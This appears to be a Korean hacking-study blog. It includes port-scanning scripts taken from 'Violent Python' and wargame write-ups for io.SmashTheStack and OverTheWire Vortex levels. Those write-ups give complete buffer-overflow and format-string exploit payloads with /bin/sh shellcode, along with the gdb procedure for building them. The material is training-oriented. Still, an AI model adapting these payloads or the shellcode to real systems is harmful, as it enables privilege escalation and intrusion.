2013년 4월 8일 월요일

Web Site Image Parser end Exif 메타 데이터 얻기

예전에 웹 사이트를 파싱해서 이미지파일을 전부 가지고 오는 파이썬 스크립트를 짠 적이있었는데 이번에 구입한 책에서도 소개하는 부분이 있어서 적어봅니다. 책에서의 코드는 이미지 파일의 Exif 메타데이터까지 읽어와서 정보가있다면 출력해주는 것도 포함하는데, 이 코드에선 GPS 정보가있는지 확인합니다.

Image Parser.

import os
import sys

def file_open():
   f = open("list.txt","r")

   if f:
      print "file open complete"
      while 1:
         line = f.readline()
         print line
         if not line:
            break
         else:
            splited = line.split(" * ")
            get = splited[1]

   print url_list

   url_list.close()




if __name__ == "__main__":
   

   file_open()


책의 코드에서 예외처리를 하지 않아서 img 태그의 정보가 다른형식으로 가지고있으면, 예를 들어 img = "\img\img.jpg" 일 경우,  도메인 정보를 포함하지 않아서 이미지를 가지고 오지 못하길래 도메인이름을 추가해주는 코드를 추가했고, 특정사이트의 경우 파싱이 되지 않는 문제가 있어서 http://lxml.de에서 모듈을 받아 lxml형식으로 파싱하니 테스트해본 모든사이트에서 잘 긁어오는군요.



예전에 웹 사이트 파싱한건 url안의 모든 url을 타고 들어가서 하위 폴더까지 전부다 읽어와서 이미지를 가지고 오는 스파이더를 만드는 것도, 직접 웹 사이트 구조를 분석해서 원하는 곳만 빼오는 것도 해봤는데, 가지고온 img에서 Exif 메타데이터를 분석하는것도 가능하다는게 참... Python 좋네요... 뭐이리 모듈이 많은거야...?


출처 : VIOLENT PYTHON

2013년 4월 1일 월요일

Python PortScan, python-nmap 연동

Python PortScan

------------------------------------------------------------------------------------------
# -*- coding: utf-8 -*-

import optparse         # 커맨드 라인 옵션 처리
from threading import * # 쓰레드 처리
import socket           
from socket import *    

# Thread Samaphore
screenLock = Semaphore(value=1)

# 포트 연결 결과 출력
def connScan(tarHost, tarPort):
    try:
        connSkt = socket(AF_INET, SOCK_STREAM)
        connSkt.connect((tarHost, tarPort))
        results = connSkt.recv(100)
        screenLock.acquire() # Lock
        print '[+]%d/tcp open'% tarPort
        print '[+] ' + str(results)
    except:
        screenLock.acquire() #Lock
        print '[-]%d/tcp closed'% tarPort
    finally:
        screenLock.release() #unLock
        connSkt.close()

# 포트 스캔
def portScan(tarHost, tarPorts):
    try:
        tarIP = gethostbyname(tarHost)  
    except:
        print "[-] Cannot resolve '%s' : Unknown host" % tarHost
        return
    try:
        tarName = gethostbyaddr(tarIP)
        print '\n[+] Scan Results for: ' + tarName[0]
    except:
        print '\n[+] Scan Results for: ' + tarIP
    setdefaulttimeout(1)
    for tarPort in tarPorts:
        # Thrread 사용.
        t = Thread(target=connScan, args=(tarHost, tarPort))
        t.start()
def main():
    parser = optparse.OptionParser('usage %prog -H' + '<target host> -p <target port>')
    parser.add_option('-H', dest='tarHost', type='string', help='specify target host')
    parser.add_option('-p', dest='tarPort', type='string', help='specify target port')
    (options,args) = parser.parse_args()
    tarHost = options.tarHost
    tarPorts = str(options.tarPort).split(',')
    if (tarHost == None) | (tarPorts[0] == None):
        print '[-] You must specify a target host and port[s].'
        exit(0)
    tarPorts = list(map(lambda x: int(x), str(options.tarPort).split(','))) # 추가된 Code
    portScan(tarHost,tarPorts)

if __name__ == '__main__':
    main()
------------------------------------------------------------------------------------------
Python PortScan 실행 화면
------------------------------------------------------------------------
s3ize:Desktop Day$ python PortScan.py -H xxx.xxx.xxx.xxx -p 21,22,80

[+] Scan Results for: xxx.xxx.xxx.xxx
[-]22/tcp closed
[+]21/tcp open
[+] 220-FileZilla Server version 0.9.41 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please vi
[-]80/tcp closed
s3ize:Desktop Day$ python PortScan.py -H xxxxxxxxxxx.co.kr -p 21,22,80

[+] Scan Results for: xxx.xxx.xxx.xxx
[-]21/tcp closed
[+]22/tcp open
[+] SSH-2.0-OpenSSH_6.0p1 Debian-3ubuntu1

[-]80/tcp closed
------------------------------------------------------------------------
PortScan Code에서 에러를 발생하는 부분이 있어서 Code 한줄 추가함.


Python-nmap 연동
------------------------------------------------------------------------------------------
# -*- coding: utf-8 -*-

import nmap             # python-nmap 연동
import optparse         # 커맨드 라인 옵션 처리
from threading import * # 쓰레드 처리

def nmapScan(tarHost, tarPort):
    nmScan = nmap.PortScanner()
    nmScan.scan(tarHost, tarPort)
    state=nmScan[tarHost]['tcp'][int(tarPort)]['state']
    print " [*] %s tcp/ %s %s"% (tarHost,tarPort,state)

def main():
    parser = optparse.OptionParser('usage %prog -H' + '<target host> -p <target port>')
    parser.add_option('-H', dest='tarHost', type='string', help='specify target host')
    parser.add_option('-p', dest='tarPort', type='string', help='specify target port')
    (options,args) = parser.parse_args()
    tarHost = options.tarHost
    tarPorts = str(options.tarPort).split(',')
    if (tarHost == None) | (tarPorts[0] == None):
        print parser.usage
        exit(0)
    for tarPort in tarPorts:
        nmapScan(tarHost,tarPort)

if __name__ == '__main__':
    main()
------------------------------------------------------------------------------------------

Python-nmap 연동 실행화면
------------------------------------------------------------------------
s3ize:Desktop BoB$ python pythonnmap.py -H xxx.xxx.xxx.xxx -p 21,22,80
 [*] 210.124.110.103 tcp/ 21 closed
 [*] 210.124.110.103 tcp/ 22 open
 [*] 210.124.110.103 tcp/ 80 open
s3ize:Desktop BoB$ python pythonnmap.py -H xxx.xxx.xxx.xxx -p 21,22,80
 [*] 210.124.110.101 tcp/ 21 open
 [*] 210.124.110.101 tcp/ 22 closed
 [*] 210.124.110.101 tcp/ 80 open
------------------------------------------------------------------------

동일한 서버를 스캔했을 때 nmap은 필터링 우회하는 것을 확인 가능. 

출처 : VIaOLENT PYTHON 

ps. 아... 이책은 꼭 사세요 대박이에요~

2012년 12월 3일 월요일

io.SmashTheStack.org level9 -> level10

문제 소스
----------------------------------------------------------------------------------------------------------------
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
     int  pad = 0xbabe;
     char buf[1024];
     strncpy(buf, argv[1], sizeof(buf) - 1); // 1023만큼 복사

     printf(buf); // format string bug!!
     return 0;
}----------------------------------------------------------------------------------------------------------------
format string bug 문제이다.

AAAA의 값이 고스란히 출력되는 것을 볼 수 있다.
dtors를 이용하여 공격을하고, 버퍼의 크기는 1023으로 충분하니 이곳에 nop와 쉘코드를 넣고 공략한다.
1) 공략하기 위해 dtors의 주소를 찾는다.
$ objdump -s -j .dtors level09

2) 쉘코드가 올라갈 주소를 찾는다.
(gdb) disas main
(gdb) b *main+80 (main함수의 ret 부분)
(gdb) r `python -c 'print "A"*1000'`
(gdb) x/200s $esp

"0xbfffdaa9"가 argv[1]f의 시작 주소이다. 혹시 ASLR이 적용되어 있는지 확인해보았지만, 적용되어 있지 않았다. argv의 주소를 사용하면 될 것이다.
바로 0xbfffdaa9로 가게되면 안되니까 조금 띄운 거리, 0xbfffdb6d을 사용한다.

3) 얻은 정보를 종합하여 공격 문자열을 만든다
     "\xd6\x94\x04\x08" "\xd4\x94\x04\x08"
     0xdb6d -40 = 56133
     0xbfff - 0xdb6d = 58514

정보를 종합하여 공격!
./level09 `python -c 'print "AAAA\xd4\x94\x04\x08BBBB\xd6\x94\x04\x08" + "%8x%8x%8x%56133c%n%58514c%n"+"\x90"*959 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


io.SmashTheStack.org level8 -> level9

문제 소스
----------------------------------------------------------------------------------------------------------------
// writen by bla for io.smashthestack.org
#include <iostream>
#include <cstring>

class Number
{
        public:
                Number(int x) : number(x) {}

                void setAnnotation(char *a) {
                    memcpy(annotation, a, strlen(a)); //argv[1] 길이만큼 memcpy
                }
     
                virtual int operator+(Number &r) {
                    return number + r.number;
                }
        private:
                char annotation[100];
                int number;
};

int main(int argc, char **argv)
{
        if(argc < 2) _exit(1);

        Number *x = new Number(5);   // x 객채 생성
        Number *y = new Number(6);   // y 객체 생성
        Number &five = *x, &six = *y;  // x y 가리키는 five,six 객체 생성 

        five.setAnnotation(argv[1]);  // 

        return six + five; //operator+함수 호출
}
----------------------------------------------------------------------------------------------------------------

memcpy(annotation, a, strlen(a)); //argv[1]의 길이만큼 memcpy
이 부분으로 인해 확실히 취약점이 있습니다.

이 문제는 소스코드 분석보다 삽질 끝에 풀었습니다.

일단 확실히 터지는지 확인해보았습니다.

109번 넣었을 때 세그먼트 폴트가 뜹니다. 이것으로 108번째까지 char annotation[100]과 int number[4] + 더미[4]가 있다고 판단할 수 있겠죠.
그 뒤 4byte에 A가 덮어씀으로써 먼가 주소가 바뀌면서 세그먼트 폴트가 뜹니다.
GDB에서 어디서 어떻게 터졌는지 다시 확인해봅니다.
ret까지 전에 main함수에서 죽었다는 것을 확인할 수 있습니다. eax가 가리키는 주소를 edx에 넣을려다가 죽은 것을 확인할 수 있는데,
eax의 "41414141"주소에는 아무 것도 없기 때문에 프로그램이 죽어버리는 겁니다.
보통 일반적으로 코딩할 때 포인터를 잘 못사용하면 요로코롬 죽는걸 많이 볼 수 있습니다.
그럼 이부분에 존재하는 주소(argv[1])를 넣어서 어떻게 프로그램이 흘러가나 확인해봅시다.


프로그램이 멈췄을 때의 스택상황을 보았을 때, 입력했던 값들이 고스란히 보이는 곳을 볼 수있습니다. 기존 페이로드에 추가로 뒤에 값을 입력하고 그부분을 가리키도록 만듭니다.



이 사진 한장이면 바로 먼가 알 수 있을 것 같군요. "0xbfffdcc0"주소안에 있는 값으로 eip가 변경되고 죽어버리는 것을 확인할 수 있습니다.
그렇다면 가리키는 부분(argv[1]의 뒷부분)에 nop와 쉘코드를 넣고 공격하면?  끝입니다.

사용한 쉘코드

"\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"


공격할 때의 메모리 상황을 그림으로 본다면,




실제로 공격할 땐, 확실하게 잘 뛰라고~ 2번째 주소를 10번넣어줬습니다.
gdb상에선 쉘이 잘 따지는데, 리얼에선 XX… 쉘이 안따지는 경우를 볼 수 있습니다 결국 삽질 끝에 요로코롬 페이로드를 작성하여 성공하였습니다.

./level08 `python -c 'print "A"*108+"\xbb\xdc\xff\xbf" + "\xdc\xdd\xff\xbf"*10 +"\x90"*419+"\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


이번 문제는 소스코드를 제대로 파악하지 않고, 직접 실전으로 직접 디버깅하면서 문제를 풀었습니다. 이런 방법이 좋은지 나쁜지는 잘 모르겠지만... 결론은 공부해야겟다...




io.SmashTheStack.org level7 -> level8




문제 소스, 주석
----------------------------------------------------------------------------------------------------------------
//written by bla
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv)
{

        int count = atoi(argv[1]); //입력받은 값을 integer(정수형) 변환
        int buf[10];

        if(count >= 10 )
                return 1;

        memcpy(buf, argv[2], count * sizeof(int)); //count*int형크기만큼 argv2 buf 복사

        if(count == 0x574f4c46) { //count값을 0x574f4c46으로 변경했다면 성공
               printf("WIN!\n");
               execl("/bin/sh", "sh" ,NULL);
        } else
               printf("Not today son\n");

        return 0;
}
----------------------------------------------------------------------------------------------------------------
        int count = atoi(argv[1]); //입력받은 값을 integer(정수형)로 변환
        memcpy(buf, argv[2], count * sizeof(int)); //argv2를 buf에 복사
이부분말고는 취약한 곳이 전혀 안보이는 군요. 
buf의 크기는 10이고, count의 값을 10보다 높게만 준다면 쉽게 buf를 오버플로우 시켜서 count를 바꿀 수 있지만,
if문때문에 불가능합니다. 이걸 우회하는게 문제의 목적(atoi함수의 오버플로우 문제인것 같습니다.)


일단 많은 가정으로 실행을 해보는게 좋겟죠
정확히 무슨 값이 들어가는지 확인하기 위해 디버깅합니다.

디버깅 도중 주소값이 계속 바뀐다는 것을 느끼고, ASLR이 구현되어있나 확인했습니다.


실행 시마다, 주소위치가 바뀌는것을 보니 ASLR이 적용 되어 있네요.(문제에서 ASLR은 전혀 상관없습니다. 심심해서 확인해본 것입니당...ㅋ)

다시 문제로 돌아와서, memcpy(buf, argv[2], count * sizeof(int)); 구문을 보면, sizeof(int)하는 것을 볼 수 있습니다.
sizeof는 해당 인자의 크기를 반화해주는 함수로 int형을 넣어주면 int형의 크기인 4(byte)를 반환해줍니다. 
문제에서 정상적인 최대 값인 9를 argv[1]에 넣어준다면, 9x4로 36만큼의 memcpy가 가능하겠지만, 이걸로는 덮어쓰는게 불가능한 것 같습니다.
열심히 구글링하고 찾아낸 결과 먼가 오버플로우가 가능한 것 같습니다.
확인하기 위해서 문제와 동일한 간단한 코딩으로 값이 어떻게 바뀌는 지 확인해봅시다.

"sample.c"
----------------------------------------------------------------------------------------------------------------
#include <stdio.h>

int main(int argc, char **argv)
{
 int i=0;
 i = atoi(argv[1]);
 printf("input : %d => %d \n",i,i*sizeof(int));
}
----------------------------------------------------------------------------------------------------------------

오우.. 컴파일하면서도 위험하다고 알려주는 군요;
열심히 구글링한 결과 atoi는 int형으로 변환해주는 함수이지만, unsigned int형인자로 줬을 때 오버플로우가 일어날 것입니다. 이 때 오버플로우가 일어남으로써 (-로 바뀌면서) if문을 우회할 수 있게되고, 후에 memcpy함수에서는 4 = sizeof(int)와 곱해지면서 출력해주는데, 이부분은 따로 형을 적지않으니 출력을 제대로 해주는 것 같군요.
실행인자로 int형의 최대크기(2,147,483,647)와, unsigned int형의 최대크기(4,294,967,295)를 줘봤습니다. 
두번째 확실히 우회가 가능하군요. 적당히 ret까지 가기 위해 몇을 사용해야하는지 확인해봅니다.
대충 4294967196정도면 ret까지 충분히 덮을 수 있을 것 같습니다. 여기서 출력은 x4한 값이였으므로, 4로 잘라서 입력을 넣어준다면 
memcpy함수의 인자로 100이 들어가겠죠


요약하자면, 입력을 -로 줘서 if문을 우회시키고, 입력된값이 오버플로우되면서 +로 변환되면서 memcpy로 ret까지 덮어 씌어지게 되는 것입니다.
4294967196 / 4 = 1073741799값을 넣어준다면 memcpy함수로 인하여 공격가능할 것입니다


문제를 공격하는 방법을 알아보았으니, 이제 RET까지의 위치를 수작업을 통해 직접 알아봅시다
굳쟙. ret의 위치를 정확히 찾았군요.
76까지 buf와 count고 그 뒤가 ret군요 음? 근데 이 문제는 ret를 변조해서 푸는 문제가 아니라 count값만 바꾸면 알아서 쉘이 따지기 때문에..
ret를 찾을 필요가 없습니다.. 아 찾고보니 어이없군요-ㅁ-;; 

간단하게 생각하면 찾을 필요도 없습니다.. buf이후에 count가 있는 것은 확실하니, buf뒤를 전부 문제가 원하는 코드로 바꿔버리면 되는 거죠

그리하여 만든 페이로드 
 ./level07 -1073741799 `python -c 'print "A"*40+"\x46\x4c\x4f\x57"*20'`

2012년 12월 2일 일요일

io.SmashTheStack.org level6 -> level7


일단 어떤 파일이 있는지 확인해보고 실행을 해보았습니다.
아... RET위치 계산을 잘못해서... 진짜 정말 개삽질을 했네요....




이번 문제도, "level06.c" 파일이 있군요. 확인해봅시다.

"level06.c"
-------------------------------------------------------------------------------------------------------------------
//bla, based on work by nnp

#include <stdio.h>
#include <string.h>

void prompt_name(char *name, char *msg){
        char buf[4096];

        puts(msg);
        read(0, buf, sizeof buf);
        *strchr(buf, '\n') = 0;
        strncpy(name, buf, 20);
}

void prompt_full_name(char *fullname) {
        char last[20];
        char first[20];

        prompt_name(first, "Please enter your first name: ");
        prompt_name(last, "Please enter your last name: ");

        strcpy(fullname, first);
        strcat(fullname, " ");
        strcat(fullname, last);
}


int main(int argc, char **argv){
        char fullname[42];

        prompt_full_name(fullname);
        printf("Welcome, %s\n", fullname);

        return 0;
}-------------------------------------------------------------------------------------------------------------------


소스코드를 보면서, 중요한부분에 주석을 달았습니다.

간단하게 이번 문제는 strcpy(복사하는 함수), 복사를 하면서, strcpy의 구조적인 문제점인
0을 만날 때까지 복사하는 점이 문제입니다. frist의 길이를 20이상 주면,
char first[20] 끝에 0이 안들어가게되고, strcpy할 때, 그 앞에 선언된 변수인 last까지 복사가 되는
bof가 발생하게 되면서 ret를 변조할 수 있게 되는 문제입니다.

그럼, 오버플로우가 일어나는지부터 확인을 해보죠.

사진에 적어놨지만, first에 last까지 같이 출력되는 것을 확인할 수 있습니다. 그 뒤에 "???"는 아마도 last위에 있는 쓰래기값인 것 같습니다.

일단 세그멘테이션 오류가 나는 것을 확인했으니, 확실히 취약점이 있군요.

이제 ret까지의 위치를 확인해보고, 그 위치를 정확히 캐취해봅시다.

gdb에서 직접 실행시켜서 오버플로우가 발생하는 위치와 RET를 찾아봅시다.
# gdb level06
(gdb) r
AAAAAAAAAAAAAAAAAAAA  <- 20byte
BBBBBBBBBBCCCCBBBBBB    <- 20byte

CCCC부분이 ret인 것을 확인 할 수 있습니다.

이제 직접 이곳으로 점프뛰기위해 위치를 알아내야겠죠.
argv1으로 점프를 뛰고, 이곳에 쉘코드를 담을 겁니다.


(gdb) r `python -c 'print "D"*500'`
AAAAAAAAAAAAAAAAAAAA
BBBBBBBBBBCCCCBBBBBB

쉘코드와 nop를 argv1에 넣고, ret를 쉘코드쪽으로 점프!하는 것입니다 argv1의 위치는 0xbfffdc9c부터 시작하군요


쉘코드


쉘코드는 예전에 만들어 놓았던
setuid(getuid()), system("bin/sh") 기능을 하는 쉘코드를 사용했습니다. 총 41byte입니다.

"\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"



payload 작성
first+last에 ret를 덮어쓰기위한 더미와 쉘코드로 가는 주소값을 넣고, argv안에 nop와 쉘코드를 넣어줍니다. 

(python -c 'print "A"*20';cat | python -c 'print "B"*10 + "\x64\xdd\xff\xbf"+"B"*6';cat)|/levels/level06 `python -c 'print "\x90"*459+"\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


2012년 11월 24일 토요일

OverTheWire.org Vortex Level3

문제 코드, 주석


---------------------------------------------------------------------------------------------
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

//전역변수 val, 포인터
unsigned long val = 31337;
unsigned long *lp = &val;

int main(int argc, char **argv)
{
     unsigned long **lpp = &lp, *tmp;      //ㅇㅏ.. 이중포인터….
     char buf[128];

     if(argc !=2) exit();
     strcpy(buf,argv[1]);

     if (((unsigned long) lpp & 0xffff0000) != 0x08040000) exit(2);

     tmp = *lpp;
     **lpp = (unsigned long) &buf;
     *lpp = tmp;
     exit(0);
}
-------------------------------------------------------------------------------------------

공격 페이로드

./vortex3 `python -c 'print "\x90"*52 + "\xeb\x2b\x5e\x31\xc0\xb0\x46\x31\xdb\x66\xbb\xfa\x01\x31\xc9\x66\xb9\xfa\x01\xcd\x80\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xd0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff\xff\xff"+ "\x90"*20+"\x8c\x92\x04\x08"*1'`

풀이법은 후에...